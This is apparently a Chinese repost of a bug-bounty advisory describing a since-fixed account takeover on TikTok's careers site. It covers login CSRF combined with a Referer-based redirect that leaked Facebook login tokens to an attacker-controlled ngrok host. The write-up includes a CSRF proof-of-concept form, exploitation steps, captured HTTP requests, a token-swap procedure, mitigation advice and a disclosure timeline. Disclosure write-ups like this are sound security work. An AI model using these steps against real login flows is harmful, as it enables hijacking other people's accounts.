account takeover系列-TikTok招聘网站的账号接管漏洞(通过csrf和重定向)

admin 2022年5月13日01:53:38评论57 views字数 3040阅读10分8秒阅读模式

account takeover系列-TikTok招聘网站的账号接管漏洞

该网站(careers.tiktok.com)漏洞报告于2020年10月17日通过Hackerone提交至TikTok,TikTok在12天内修复了该漏洞

一 前言

该网站为TikTok的招聘网站,该网站使用Facebook和Linkedin实现单点登录。由于存在CSRF漏洞以及开放的重定向漏洞,恶意攻击者可能会接管该网站用户的账户。该漏洞仅限于TikTok的招聘网站,不会影响TikTok 的其他网站或移动应用程序

二 CSRF漏洞

为了实现账户接管,受害者使用自己Facebook账号在careers.tiktok.com上进行身份验证,同意与TikToK共享数据。此外受害者要在Facebook上有一个活跃的会话。TikTok没有有效防范在登录点和Facebook交互中可能存在的CSRF问题。因此,恶意攻击者使用一个微不足道的CSRF攻击,就可以接管受害者账户:

<html>
  <body>
  <script>history.pushState('''''/')</script>
    <form action="https://careers.tiktok.com/api/v1/user/facebook/login">
      <input type="hidden" name="next_url" value="https://redacted.tiktok.com/" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

如果我们忽略以下步骤,那么在常规登录流程结束后,受害者将被认证到他们自己的帐户中。

三 身份验证

如果Referer头存在于https://careers.tiktok.com/api/v1/user/facebook/login 的请求中,则高度敏感的令牌会泄漏给潜在的攻击者控制的网站。使用此令牌,攻击者就可以替代受害者进行身份验证。因为对于TikTok,无法验证该令牌的发起者是攻击者还是受害者。

四 利用步骤

就像Barth等人在2008年引入的web攻击者模型一样(https://www.adambarth.com/papers/2008/barth-jackson-mitchell.pdf ),我们设法让受害者访问攻击者控制的网站。此外, 如前所述,我们需要受害者将其Facebook帐户链接到TikTok的职业门户网站。

(0) 保存上述登录CSRF PoC并启动一个简单的web服务器:$ python -m http.server 1234

(1) 通过ngrok反向代理以及安全传输层协议(TLS)获取一个具有有效证书的公共(子)域。方便进一步的漏洞利用 $ ngrok http 1234

(2) 受害者浏览https://abcdefghij.ngrok.io 上的POC(攻击者控制)来实施攻击,手动点击该POC(这也可以使用JavaScript来实现,以便对受害者隐藏请求)

(3) 没有其他的和受害者的交互,便会在careers.tiktok.com 发起一个登录的请求,在这一步中重要的是Referer头

GET /api/v1/user/facebook/login?next_url=https://careers.tiktok.com/ HTTP/1.1
Host: careers.tiktok.com
[...]
Referer: https://abcdefghij.ngrok.io
Cookie: [REDACTED]

(4) 没有进一步的和受害者的互动,受害者被重定向到Facebook

HTTP/1.1 302 Found
[...]
Location: https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback?code=[REDACTED]&state=[REDACTED]D#_=_

(6) 在 https://abcdefghij.ngrok.io 将会接收到/api/v1/user/facebook/callback 的记录 重点:之所以这样做是因为该网站使用/api/v1/user/facebook/login请求中的Referer作为跳转的主机。由于此请求由攻击者控制,攻击者可以获得受害者的令牌参数

GET /api/v1/user/facebook/callback?next_url=https://careers.tiktok.com/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: abcdefghij.ngrok.io
[...]

此时,具有发起CSRF攻击能力的攻击者将获得绑定到受害者Facebook帐户的令牌。

以下步骤是从攻击者的角度在新的浏览器会话中执行的:

(7) 攻击者在https://careers.tiktok.com/login 中单击Facebook按钮。

(8) 攻击者执行所有步骤并转发所有请求,直到最终请求(包括他的令牌)将被发送到 https://careers.tiktok.com/api/v1/user/facebook/callback 在此请求中,攻击者将其令牌 与先前获得的绑定到受害者帐户的令牌进行交换

GET /api/v1/user/facebook/callback?next_url=https://[redacted_domain_1]/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: careers.tiktok.com
[...]

(9) 攻击者登录了受害者账号

通用流程如下所示:

account takeover系列-TikTok招聘网站的账号接管漏洞(通过csrf和重定向)
示意图

小结

通过CSRF向Fackbook发起请求+URLredirect获取返回的身份令牌,替换令牌实现接管账户

五 影响

恶意参与者可以使用跨站点请求伪造来接管受害者在careers.tiktok.com的帐户。

六 建议

在初次报告期间提出了以下建议:对要进行身份验证的端点实施CSRF保护,以减少登录中的CSRF漏洞(将用户验证到其帐户中)。不要向第三方泄露敏感的身份验证相关参数,如令牌。如果Referer用于确定令牌的目标,则必须使用适当的白名单验证其值!

七 负责任的披露

2020年10月17日:[LH]通过Hackerone提供初始报告:https://hackerone.com/reports/1010522 2020年10月18日:[TikTok]对报告的CVSS评分较高(7.5)。2020年10月28日:[TikTok]悬赏。2020年10月29日:[TikTok]报告已解决。2020年10月29日:[LH]修复成功重新测试。负责任的披露过程堪称典范,为TikTok的应用程序安全团队致敬!

原文地址: https://security.lauritz-holtmann.de/advisories/tiktok-account-takeover/


原文始发于微信公众号(迪哥讲事):account takeover系列-TikTok招聘网站的账号接管漏洞(通过csrf和重定向)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日01:53:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   account takeover系列-TikTok招聘网站的账号接管漏洞(通过csrf和重定向)http://cn-sec.com/archives/997866.html

发表评论

匿名网友 填写信息